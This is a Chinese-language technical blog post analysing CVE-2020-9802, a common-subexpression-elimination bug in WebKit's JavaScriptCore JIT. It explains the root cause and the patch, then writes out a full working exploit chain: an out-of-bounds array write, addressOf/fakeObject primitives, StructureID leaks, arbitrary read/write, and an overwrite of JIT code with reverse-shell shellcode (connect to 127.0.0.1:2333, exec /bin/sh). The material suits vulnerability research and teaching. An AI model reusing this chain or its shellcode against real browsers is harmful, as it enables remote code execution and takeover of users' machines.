【技术分享】CVE-2020-9802 JSC CSE漏洞分析
前言
编译器优化中有一项CSE(公共子表达式消除),如果JS引擎在执行时类型收集的不正确,将导致表达式被错误的消除引发类型混淆。
前置知识
CSE
公共子表达式消除即为了去掉那些相同的重复计算,使用代数变换将表达式替换,并删除多余的表达式,如
let c = Math.sqrt(a*a + a*a);
将被优化为
let tmp = a*a;let c = Math.sqrt(tmp + tmp);
这样就节省了一次乘法,现在我们来看下列代码
let c = o.a;f();let d = o.a;
由于在两个表达式之间多了一个f()函数的调用,而函数中很有可能改变.a的值或者类型,因此这两个公共子表达式不能直接消除,编译器会收集o.a的类型信息,并跟踪f函数,收集信息,如果到f分析完毕,o.a的类型也没有改变,那么let d = o.a;就可以不用再次检查o.a的类型。
在JSC中,CSE优化需要考虑的信息在Source/JavaScriptCore/dfg/DFGClobberize.h中被定义,从文件路径可以知道,这是一个在DFG阶段的相关优化,文件中有一个clobberize函数,
template<typename ReadFunctor, typename WriteFunctor, typename DefFunctor>void clobberize(Graph& graph, Node* node, const ReadFunctor& read, const WriteFunctor& write, const DefFunctor& def){............................................. case CompareEqPtr: def(PureValue(node, node->cellOperand()->cell())); return;..............................................
clobberize函数中的def操作定义了CSE优化时需要考虑的因素,例如上面的def(PureValue(node, node->cellOperand()->cell()));,如果要对CompareEqPtr运算进行CSE优化,需要考虑的因素除了value本身的值,还需要的是Operand(操作数)的类型(cell)。
边界检查消除
与V8的checkbounds消除类似,当数组的下标分析确定在数组的大小范围之内,则可以消除边界检查,但如果编译器本身的检查方式出现溢出等问题,编译器认为idx在范围之内而实际则可能不在范围内,错误的消除边界检查将导致数组溢出。
为了研究JSC在什么条件下可以消除边界检查,我们使用如下代码进行测试调试
function foo(arr,idx) { idx = idx | 0; if (idx < arr.length) { if (idx & 0x3) { idx += -2; } if (idx >= 0) { return arr[idx]; } }} var arr = [1.1,2.2,3.3,4.4,5.5,6.6]; for (var i=0;i<0xd0000;i++) { foo(arr,2);} debug(describe(arr));print();debug(foo(arr,0x3));
给print的函数断点用于中断脚本以进行调试b *printInternal,运行时加上-p选项将优化时的数据输出为json,从json文件中,我们看到foo函数的字节码
[ 0] enter[ 1] get_scope loc4[ 3] mov loc5, loc4[ 6] check_traps [ 7] bitor arg2, arg2, Int32: 0(const0)[ 12] get_by_id loc6, arg1, 0[ 17] jnless arg2, loc6, 29(->46)[ 21] bitand loc6, arg2, Int32: 3(const1)[ 26] jfalse loc6, 9(->35)[ 29] add arg2, arg2, Int32: -2(const2), OperandTypes(126, 3)[ 35] jngreatereq arg2, Int32: 0(const0), 11(->46)[ 39] get_by_val loc6, arg1, arg2[ 44] ret loc6[ 46] ret Undefined(const3)
其中[ 39] get_by_val loc6, arg1, arg2用于从数组中取出数据,在DFG JIT时,其展开的汇编代码为
0x7fffaf101fa3: mov $0x7fffaef0bb48, %r11 0x7fffaf101fad: mov (%r11), %r11 0x7fffaf101fb0: test %r11, %r11 0x7fffaf101fb3: jz 0x7fffaf101fc0 0x7fffaf101fb9: mov $0x113, %r11d 0x7fffaf101fbf: int3 0x7fffaf101fc0: mov $0x7fffaef000dc, %r11 0x7fffaf101fca: mov $0x0, (%r11) 0x7fffaf101fce: cmp -0x8(%rdx), %esi 0x7fffaf101fd1: jae 0x7fffaf1024cb 0x7fffaf101fd7: movsd (%rdx,%rsi,8), %xmm0 0x7fffaf101fdc: ucomisd %xmm0, %xmm0 0x7fffaf101fe0: jp 0x7fffaf1024f2
其中的
0x7fffaf101fce: cmp -0x8(%rdx), %esi 0x7fffaf101fd1: jae 0x7fffaf1024cb
用于检查下标是否越界,可见DFG JIT阶段并不会去除边界检查,尽管我们在代码中使用了if语句将idx限定在了数组的长度范围之内。边界检查去除表现在FTL JIT的汇编代码中,从json文件中可以看到FTL JIT时,对字节码字节码[ 39] get_by_val loc6, arg1, arg2的展开如下
D@86:<!0:-> ExitOK(MustGen, W:SideState, bc#39, ExitValid)D@63:<!0:-> CountExecution(MustGen, 0x7fffac9cf140, R:InternalState, W:InternalState, bc#39, ExitValid)D@66:<!2:-> GetByVal(KnownCell:Kill:D@14, Int32:Kill:D@10, Check:Untyped:Kill:D@68, Check:Untyped:D@10, Double|MustGen|VarArgs|UseAsOther, AnyIntAsDouble|NonIntAsDouble, Double+OriginalCopyOnWriteArray+InBounds+AsIs+Read, R:Butterfly_publicLength,IndexedDoubleProperties, Exits, bc#39, ExitValid) predicting NonIntAsDoubleD@85:<!0:-> KillStack(MustGen, loc6, W:Stack(loc6), ClobbersExit, bc#39, ExitInvalid)D@67:<!0:-> MovHint(DoubleRep:D@66, MustGen, loc6, W:SideState, ClobbersExit, bc#39, ExitInvalid)ValueRep(DoubleRep:Kill:D@66, JS|PureInt, BytecodeDouble, bc#39, exit: bc#44, ExitValid)
从中可以看到GetByVal中传递的参数中含有InBounds标记,那么其汇编代码中将不会检查下标是否越界,因为前面已经确定下标在范围内。为了查看FTL JIT生成的汇编代码,我们使用gdb调试,遇到print语句时会断点停下
此时,我们对butterfly中对应的位置下一个硬件读断点,然后继续运行
pwndbg> rwatch *0x7ff803ee4018Hardware read watchpoint 79: *0x7ff803ee4018pwndbg> cContinuing.
然后断点断下
0x7fffaf101b9c movabs r11, 0x7fffaef000dc 0x7fffaf101ba6 mov byte ptr [r11], 0 0x7fffaf101baa cmp esi, dword ptr [rdx - 8] 0x7fffaf101bad jae 0x7fffaf102071 <0x7fffaf102071> 0x7fffaf101bb3 movsd xmm0, qword ptr [rdx + rsi*8] ► 0x7fffaf101bb8 ucomisd xmm0, xmm0 0x7fffaf101bbc jp 0x7fffaf102098 <0x7fffaf102098>
我们发现这仍然存在cmp esi, dword ptr [rdx - 8]检查了下标,这是由于FTL JIT是延迟优化的,可能还没优化过来,我们按照前面的步骤重新试一下
0x7fffaf1039fa mov eax, 0xa 0x7fffaf103a00 mov rsp, rbp 0x7fffaf103a03 pop rbp 0x7fffaf103a04 ret 0x7fffaf103a05 movsd xmm0, qword ptr [rdx + rax*8] ► 0x7fffaf103a0a ucomisd xmm0, xmm0 0x7fffaf103a0e jp 0x7fffaf103aeb <0x7fffaf103aeb>
发现这次,边界检查被去除了,为了查看更多的代码片段,我们使用gdb的dump命令将这段代码dump出来用IDA分析
pwndbg> vmmap 0x7fffaf103a0aLEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x7fffaf0ff000 0x7fffaf104000 rwxp 5000 0 +0x4a0apwndbg> dump memory ./2.bin 0x7fffaf0ff000 0x7fffaf104000pwndbg>
可以看到语句
if (idx & 0x3) { idx += -2; }
执行完毕后,无需再一次检查idx < arr.length,因为这是一个减法操作,正常情况下idx减去一个正数肯定会变小,小于arr.length,因此就去掉了边界检查。
漏洞分析利用
patch分析
diff --git a/Source/JavaScriptCore/dfg/DFGClobberize.h b/Source/JavaScriptCore/dfg/DFGClobberize.hindex b2318fe03aed41e0309587e7df90769cb04e3c49..5b34ec5bd8524c03b39a1b33ba2b2f64b3f563e1 100644 (file)--- a/Source/JavaScriptCore/dfg/DFGClobberize.h+++ b/Source/JavaScriptCore/dfg/DFGClobberize.h@@ -228,7 +228,7 @@ void clobberize(Graph& graph, Node* node, const ReadFunctor& read, const WriteFu case ArithAbs: if (node->child1().useKind() == Int32Use || node->child1().useKind() == DoubleRepUse)- def(PureValue(node));+ def(PureValue(node, node->arithMode())); else { read(World); write(Heap);@@ -248,7 +248,7 @@ void clobberize(Graph& graph, Node* node, const ReadFunctor& read, const WriteFu if (node->child1().useKind() == Int32Use || node->child1().useKind() == DoubleRepUse || node->child1().useKind() == Int52RepUse)- def(PureValue(node));+ def(PureValue(node, node->arithMode())); else { read(World); write(Heap);
该patch修复了漏洞,从patch中可以知道,这原本是一个跟CSE优化有关的漏洞,patch中加入了node->arithMode()参数,那么在CSE优化时,不仅要考虑操作数的值,还要考虑算术运算中出现的溢出等因素,即使最终的值一样,如果其中一个表达式是溢出的,也不能进行CSE优化。
POC构造
首先从patch可以知道,修改的内容分别在ArithAbs和ArithNegate分支,它们分别对应了JS中的Math.abs和-运算。
尝试构造如下代码
function foo(n) { if (n < 0) { let a = -n; let b = Math.abs(n); debug(b); }} for (var i=0;i<0x30000;i++) { foo(-2);}
foo部分字节码如下
[ 17] negate loc7, arg1, 126..........[ 48] call loc6, loc8, 2, 18
分别代表了-n和Math.abs(n);,在DFG JIT阶段,其展开为如下
[ 17]CountExecutionGetLocalArithNegate(Int32:D@39, Int32|PureInt, Int32, Unchecked, Exits, bc#17, ExitValid)MovHint[ 48]CountExecutionFilterCallLinkStatusArithAbs(Int32:D@39, Int32|UseAsOther, Int32, CheckOverflow, Exits, bc#48, ExitValid)PhantomPhantomMovHint
在FTL JIT阶段,代码变化如下
[ 17]CountExecutionArithNegate(Int32:Kill:D@76, Int32|PureInt, Int32, Unchecked, Exits, bc#17, ExitValid)KillStackZombieHint[ 48]CountExecutionFilterCallLinkStatusKillStackZombieHint
可以看到ArithAbs被去除了,这就是漏洞所在,ArithAbs与ArithNegate的不同点在于,ArithNegate不检查溢出,而ArithAbs会检查溢出,因此对于0x80000000这个值,-0x80000000值仍然为-0x80000000,是一个32位数据,而Math.abs(-0x80000000)将扩展位数,值为0x80000000。显然编译器没有察觉到这一点,将ArithAbs与ArithNegate认为是公共子表达式,于是便可以进行互相替换。
因此构造的POC如下
function foo(n) { if (n < 0) { let a = -n; let b = Math.abs(n); debug(b); }} for (var i=0;i<0xc0000;i++) { foo(-2);} foo(-0x80000000);
程序输出如下
..............--> 2--> 2--> 2--> 2--> 2--> -2147483648
可以看到,这个值并不是Math.abs(-0x80000000)的准确值。
OOB数组构造
利用边界检查消除来进行数组的溢出
function foo(arr,n) { if (n < 0) { let a = -n; let idx = Math.abs(n); if (idx < arr.length) { //确定在边界之内 if (idx & 0x80000000) { //对于0x80000000,我们减去一个数,以将idx变换到任意正值 idx += -0x7ffffffd; } if (idx >= 0) { //确定在边界之内 return arr[idx]; //溢出 } } }} var arr = [1.1,2.2,3.3];for (var i=0;i<0xc0000;i++) { foo(arr,-2);} debug(foo(arr,-0x80000000));
因为编译器的错误优化,idx是一个32位数,那么idx < arr.length的检查通过,那么后续的return arr[idx]; //溢出将不会检查右边界,因此可以溢出数据。通过测试,发现POC有时可以成功溢出,有时不能
root@ubuntu:~/Desktop/WebKit/WebKitBuild/Debug/bin# ./jsc poc.js--> 1.5488838078e-314root@ubuntu:~/Desktop/WebKit/WebKitBuild/Debug/bin# ./jsc poc.js--> undefined
这是因为漏洞最终发生在FTL JIT,这个是延迟优化的,可能在执行最后的debug(foo(arr,-0x80000000));还没生成好JIT代码,因此具有微小的随机性,不影响漏洞利用。为了查看FTL JIT的汇编代码,我们使用前面介绍的方法,对arr的butterfly下硬件断点,然后停下时将代码片段dump出来
seg000:00007FFFAF10346F mov ecx, eaxseg000:00007FFFAF103471 neg ecxseg000:00007FFFAF103473 mov rdx, [rdx+8]seg000:00007FFFAF103477 cmp ecx, [rdx-8]seg000:00007FFFAF10347A jl loc_7FFFAF103496seg000:00007FFFAF103480 mov dword ptr [rsi+737C1Ch], 1seg000:00007FFFAF10348A mov rax, 0Ahseg000:00007FFFAF103491 mov rsp, rbpseg000:00007FFFAF103494 pop rbpseg000:00007FFFAF103495 retnseg000:00007FFFAF103496 ; ---------------------------------------------------------------------------seg000:00007FFFAF103496seg000:00007FFFAF103496 loc_7FFFAF103496: ; CODE XREF: seg000:00007FFFAF10347A↑jseg000:00007FFFAF103496 test ecx, 80000000hseg000:00007FFFAF10349C jnz loc_7FFFAF1034E8seg000:00007FFFAF1034A2 test ecx, ecxseg000:00007FFFAF1034A4 jns loc_7FFFAF1034C0................seg000:00007FFFAF1034E8 loc_7FFFAF1034E8: ; CODE XREF: seg000:00007FFFAF10349C↑jseg000:00007FFFAF1034E8 mov rcx, 0FFFFFFFF80000003hseg000:00007FFFAF1034EF sub ecx, eaxseg000:00007FFFAF1034F1 test ecx, ecxseg000:00007FFFAF1034F3 jns loc_7FFFAF1034C0seg000:00007FFFAF1034F9 jmp loc_7FFFAF1034AA................seg000:00007FFFAF1034C0 loc_7FFFAF1034C0: ; CODE XREF: seg000:00007FFFAF1034A4↑jseg000:00007FFFAF1034C0 ; seg000:00007FFFAF1034F3↓jseg000:00007FFFAF1034C0 mov eax, ecxseg000:00007FFFAF1034C2 movsd xmm0, qword ptr [rdx+rax*8]seg000:00007FFFAF1034C7 ucomisd xmm0, xmm0seg000:00007FFFAF1034CB jp loc_7FFFAF1035A8seg000:00007FFFAF1034D1 movq rax, xmm0seg000:00007FFFAF1034D6 sub rax, rdiseg000:00007FFFAF1034D9 mov dword ptr [rsi+737C1Ch], 1seg000:00007FFFAF1034E3 mov rsp, rbpseg000:00007FFFAF1034E6 pop rbpseg000:00007FFFAF1034E7 retn
从中可以看出,上述汇编代码正好印证了我们前面的分析,neg ecx代表了Math.abs(),然后cmp ecx, [rdx-8]比较右边界,但由于ecx是32位,0x80000000比较通过,然后
seg000:00007FFFAF1034E8 mov rcx, 0FFFFFFFF80000003hseg000:00007FFFAF1034EF sub ecx, eax
使得ecx为3,最后通过
seg000:00007FFFAF1034C0 mov eax, ecxseg000:00007FFFAF1034C2 movsd xmm0, qword ptr [rdx+rax*8]
进行数组溢出读取数据。那么我们可以用同样的方法,越界写改写下一个数组对象butterfly中的length和capacity,从而构造一个oob的数组对象。首先要在内存上布局三个相邻的数组对象
arr0 ArrayWithDouble,arr1 ArrayWithDouble,arr2 ArrayWithContiguous,
通过arr0溢出改写arr1的length和capacity,即可将arr1构造为oob的数组
var arr = [1.1,2.2,3.3];var oob_arr= [2.2,3.3,4.4];var obj_arr = [{},{},{}]; debug(describe(arr));debug(describe(oob_arr));debug(describe(obj_arr));print();
发现三个数组的butterfly不相邻,并且类型不大对
--> Object: 0x7fffef1a83e8 with butterfly 0x7fe00cee4010 (Structure 0x7fffae7f99e0:[0xee79, Array, {}, CopyOnWriteArrayWithDouble, Proto:0x7fffef1bc2e8, Leaf]), StructureID: 61049--> Object: 0x7fffef1a8468 with butterfly 0x7fe00cee4040 (Structure 0x7fffae7f99e0:[0xee79, Array, {}, CopyOnWriteArrayWithDouble, Proto:0x7fffef1bc2e8, Leaf]), StructureID: 61049--> Object: 0x7fffef1a84e8 with butterfly 0x7fe00cefda48 (Structure 0x7fffae7f9860:[0xe077, Array, {}, ArrayWithContiguous, Proto:0x7fffef1bc2e8]), StructureID: 57463
前两个类型为CopyOnWriteArrayWithDouble,导致它们与arr2的butterfly不相邻,于是尝试这样构造
let noCow = 13.37;var arr = [noCow,2.2,3.3];var oob_arr = [noCow,2.2,3.3];var obj_arr = [{},{},{}]; debug(describe(arr));debug(describe(oob_arr));debug(describe(obj_arr));print();--> Object: 0x7fffef1a6168 with butterfly 0x7fe01e4fda48 (Structure 0x7fffae7f9800:[0xcd04, Array, {}, ArrayWithDouble, Proto:0x7fffef1bc2e8, Leaf]), StructureID: 52484--> Object: 0x7fffef1a61e8 with butterfly 0x7fe01e4fda68 (Structure 0x7fffae7f9800:[0xcd04, Array, {}, ArrayWithDouble, Proto:0x7fffef1bc2e8, Leaf]), StructureID: 52484--> Object: 0x7fffef1a6268 with butterfly 0x7fe01e4fda88 (Structure 0x7fffae7f9860:[0x5994, Array, {}, ArrayWithContiguous, Proto:0x7fffef1bc2e8]), StructureID: 22932
这回就相邻了,然后我们利用前面的漏洞构造oob数组
function foo(arr,n) { if (n < 0) { let a = -n; let idx = Math.abs(n); if (idx < arr.length) { //确定在边界之内 if (idx & 0x80000000) { //对于0x80000000,我们减去一个数,以将idx变换到任意正值 idx += -0x7ffffffd; } if (idx >= 0) { //确定在边界之内 arr[idx] = 1.04380972981885e-310; //溢出 } } }} let noCow = 13.37;var arr = [noCow,2.2,3.3];var oob_arr = [noCow,2.2,3.3];var obj_arr = [{},{},{}]; for (var i=0;i<0xc0000;i++) { foo(arr,-2);}foo(arr,-0x80000000); debug(oob_arr.length);
输出如下,需要多次尝试,原因前面说过
root@ubuntu:~/Desktop/WebKit/WebKitBuild/Debug/bin# ./jsc poc.js--> 3root@ubuntu:~/Desktop/WebKit/WebKitBuild/Debug/bin# ./jsc poc.js--> 3root@ubuntu:~/Desktop/WebKit/WebKitBuild/Debug/bin# ./jsc poc.js--> 3root@ubuntu:~/Desktop/WebKit/WebKitBuild/Debug/bin# ./jsc poc.js--> 4919
利用oob_arr和obj_arr即可轻松构造出addressOf和fakeObject原语
泄露StructureID
getByVal
在新版的JSC中,加入了StructureID随机化机制,使得我们前面介绍的喷射对象,并猜测StructureID的方法变得困难,成功率极大降低。因此需要使用其他方法,一种方法是利用getByVal,
static ALWAYS_INLINE JSValue getByVal(VM& vm, JSGlobalObject* globalObject, CodeBlock* codeBlock, JSValue baseValue, JSValue subscript, OpGetByVal bytecode){ .............................. if (subscript.isUInt32()) { ....................... } else if (baseValue.isObject()) { JSObject* object = asObject(baseValue); if (object->canGetIndexQuickly(i)) return object->getIndexQuickly(i);
其中canGetIndexQuickly源码如下
bool canGetIndexQuickly(unsigned i) const { const Butterfly* butterfly = this->butterfly(); switch (indexingType()) {............... case ALL_DOUBLE_INDEXING_TYPES: { if (i >= butterfly->vectorLength()) return false; double value = butterfly->contiguousDouble().at(this, i); if (value != value) return false; return true; }............ }
getIndexQuickly代码如下
JSValue getIndexQuickly(unsigned i) const{............. case ALL_DOUBLE_INDEXING_TYPES: return JSValue(JSValue::EncodeAsDouble, butterfly->contiguousDouble().at(this, i));............... } }
从上面可以知道getIndexQuickly这条路径不会使用到StructureID,那么如何触发getByVal呢?经过测试,发现对不是数组类型的对象,使用[]运算符可以触发到getByVal
var a = {x:1};var b = a[0];debug(b);print();
因此,我们可以尝试构造一个假的StructureID,使得它匹配StructureID时发现不是数组类型,就可以调用到getByVal
var arr_leak = new Array(noCow,2.2,3.3);function leak_structureID(obj) { let jscell_double = p64f(0x00000000,0x01062307); let container = { jscell:jscell_double, butterfly:obj } let container_addr = addressOf(container); let hax = fakeObject(container_addr[0]+0x10,container_addr[1]); f64[0] = hax[0]; let structureID = u32[0]; //修复JSCell u32[1] = 0x01082307 - 0x20000; container.jscell = f64[0];; return structureID;} var structureID = leak_structureID(arr_leak);debug(structureID);print();
调试如下
baseValue.isObject()判断通过,将进入分支
► 962 } else if (baseValue.isObject()) { 963 JSObject* object = asObject(baseValue); 964 if (object->canGetIndexQuickly(i)) 965 return object->getIndexQuickly(i); 966 967 bool skipMarkingOutOfBounds = false;pwndbg> p baseValue.isObject()$3 = true
接下来,我们跟踪进入canGetIndexQuickly函数
In file: /home/sea/Desktop/WebKit/Source/JavaScriptCore/runtime/JSObject.h 272 return false; 273 case ALL_INT32_INDEXING_TYPES: 274 case ALL_CONTIGUOUS_INDEXING_TYPES: 275 return i < butterfly->vectorLength() && butterfly->contiguous().at(this, i); 276 case ALL_DOUBLE_INDEXING_TYPES: { ► 277 if (i >= butterfly->vectorLength()) 278 return false; 279 double value = butterfly->contiguousDouble().at(this, i); 280 if (value != value) 281 return false; 282 return true;pwndbg> p butterfly->vectorLength()$11 = 32767
这里获取了容量,如果i在长度范围之内,则返回true,即可成功取得数据。由于这里我们是将arr_leak这个对象当成了butterfly,因此容量也就是&arr_leak-0x4处的数据,即
pwndbg> x /2wx 0x7fffef1613e8-0x80x7fffef1613e0: 0xef1561a0 0x00007fff
与32767对应上了。由此我们看出,这种方法的条件是&arr_leak-0x4处的数据要大于0即可,因此可以在内存布局的时候在arr_leak前面布置一个数组并用数据填充。如果不在前面布局一个数组用于填充,则利用程序将受到随机化的影响而不稳定。
Function.prototype.toString.call
另一个方法是通过toString() 函数的调用链来实现任意地址读数据,主要就是伪造调用链中的结构,最终使得identifier指向需要泄露的地址处,然后使用Function.prototype.toString.call获得任意地址处的数据,可参考文章
function leak_structureID2(obj) { // https://i.blackhat.com/eu-19/Thursday/eu-19-Wang-Thinking-Outside-The-JIT-Compiler-Understanding-And-Bypassing-StructureID-Randomization-With-Generic-And-Old-School-Methods.pdf var unlinkedFunctionExecutable = { m_isBuitinFunction: i2f(0xdeadbeef), pad1: 1, pad2: 2, pad3: 3, pad4: 4, pad5: 5, pad6: 6, m_identifier: {}, }; var fakeFunctionExecutable = { pad0: 0, pad1: 1, pad2: 2, pad3: 3, pad4: 4, pad5: 5, pad6: 6, pad7: 7, pad8: 8, m_executable: unlinkedFunctionExecutable, }; var container = { jscell: i2f(0x00001a0000000000), butterfly: {}, pad: 0, m_functionExecutable: fakeFunctionExecutable, }; let fakeObjAddr = addressOf(container); let fakeObj = fakeObject(fakeObjAddr[0] + 0x10,fakeObjAddr[1]); unlinkedFunctionExecutable.m_identifier = fakeObj; container.butterfly = obj; var nameStr = Function.prototype.toString.call(fakeObj); let structureID = nameStr.charCodeAt(9); // repair the fakeObj's jscell u32[0] = structureID; u32[1] = 0x01082309-0x20000; container.jscell = f64[0]; return structureID;}
任意地址读写原语
在泄露了StructureID以后,就可以伪造数组对象进行任意地址读写了
var structureID = leak_structureID2(arr_leak);u32[0] = structureID;u32[1] = 0x01082309-0x20000; //debug(describe(arr_leak));debug('[+] structureID=' + structureID); var victim = [1.1,2.2,3.3];victim['prop'] = 23.33; var container = { jscell:f64[0], butterfly:victim} var container_addr = addressOf(container);var hax = fakeObject(container_addr[0]+0x10,container_addr[1]); var padding = [1.1,2.2,3.3,4.4];var unboxed = [noCow,2.2,3.3];var boxed = [{}]; /*debug(describe(unboxed));debug(describe(boxed));debug(describe(victim));debug(describe(hax));*/ hax[1] = unboxed;var sharedButterfly = victim[1];hax[1] = boxed;victim[1] = sharedButterfly; function NewAddressOf(obj) { boxed[0] = obj; return u64f(unboxed[0]);} function NewFakeObject(addr_l,addr_h) { var addr = p64f(addr_l,addr_h); unboxed[0] = addr; return boxed[0];} function read64(addr_l,addr_h) { //必须保证在vicim[-1]处有数据,即used slots和max slots字段,否则将导致读取失败 //因此我们换用另一种方法,即利用property去访问 hax[1] = NewFakeObject(addr_l + 0x10,addr_h); return NewAddressOf(victim.prop);} function write64(addr_l,addr_h,double_val) { hax[1] = NewFakeObject(addr_l + 0x10,addr_h); victim.prop = double_val;}
劫持JIT编译的代码
var shellcodeFunc = getJITFunction();shellcodeFunc();var shellcodeFunc_addr = NewAddressOf(shellcodeFunc);var executable_base_addr = read64(shellcodeFunc_addr[0] + 0x18,shellcodeFunc_addr[1]); var jit_code_addr = read64(executable_base_addr[0] + 0x8,executable_base_addr[1]);var rwx_addr = read64(jit_code_addr[0] + 0x20,jit_code_addr[1]);debug("[+] shellcodeFunc_addr=" + shellcodeFunc_addr[1].toString(16) + shellcodeFunc_addr[0].toString(16)); debug("[+] executable_base_addr=" + executable_base_addr[1].toString(16) + executable_base_addr[0].toString(16));debug("[+] jit_code_addr=" + jit_code_addr[1].toString(16) + jit_code_addr[0].toString(16));debug("[+] rwx_addr=" + rwx_addr[1].toString(16) + rwx_addr[0].toString(16)); const shellcode = [ 0x31, 0xD2, 0x31, 0xF6, 0x40, 0xB6, 0x01, 0x31, 0xFF, 0x40, 0xB7, 0x02, 0x31, 0xC0, 0xB0, 0x29, 0x0F, 0x05, 0x89, 0x44, 0x24, 0xF8, 0x89, 0xC7, 0x48, 0xB8, 0x02, 0x00, 0x09, 0x1D, 0x7F, 0x00, 0x00, 0x01, 0x48, 0x89, 0x04, 0x24, 0x48, 0x89, 0xE6, 0xB2, 0x10, 0x48, 0x31, 0xC0, 0xB0, 0x2A, 0x0F, 0x05, 0x8B, 0x7C, 0x24, 0xF8, 0x31, 0xF6, 0xB0, 0x21, 0x0F, 0x05, 0x40, 0xB6, 0x01, 0x8B, 0x7C, 0x24, 0xF8, 0xB0, 0x21, 0x0F, 0x05, 0x40, 0xB6, 0x02, 0x8B, 0x7C, 0x24, 0xF8, 0xB0, 0x21, 0x0F, 0x05, 0x48, 0xB8, 0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x73, 0x68, 0x00, 0x48, 0x89, 0x44, 0x24, 0xF0, 0x48, 0x31, 0xF6, 0x48, 0x31, 0xD2, 0x48, 0x8D, 0x7C, 0x24, 0xF0, 0x48, 0x31, 0xC0, 0xB0, 0x3B, 0x0F, 0x05]; function ByteToDwordArray(payload){ let sc = [] let tmp = 0; let len = Math.ceil(payload.length/6) for (let i = 0; i < len; i += 1) { tmp = 0; pow = 1; for(let j=0; j<6; j++){ let c = payload[i*6+j] if(c === undefined) { c = 0; } pow = j==0 ? 1 : 256 * pow; tmp += c * pow; } tmp += 0xc000000000000; sc.push(tmp); } return sc;} //debug(describe(shellcodeFunc)); //debug(shellcode.length);//替换jit的shellcodelet sc = ByteToDwordArray(shellcode);for(let i=0; i write64(rwx_addr[0] + i*6,rwx_addr[1],i2f(sc[i]));} debug("trigger shellcode")//执行shellcodeprint();shellcodeFunc(); print();
这里,我们使用ByteToDwordArray将shellcode转为6字节有效数据每个的数组,这样是为了在write64时能一次写入6个有效数据,减少for(let i=0; i结果展示
感想
通过本次研究学习,理解了JSC的边界检查消除机制,同时也对JSC中的CSE有了一些了解,其与V8之间也非常的相似。
参考
FireShell2020——从一道ctf题入门jsc利用
WebKit Commitdiff
eu-19-Wang-Thinking-Outside-The-JIT-Compiler-Understanding-And-Bypassing-StructureID-Randomization-With-Generic-And-Old-School-Methods
JITSploitation I:JIT编译器漏洞分析
Project Zero: JITSploitation I: A JIT Bug
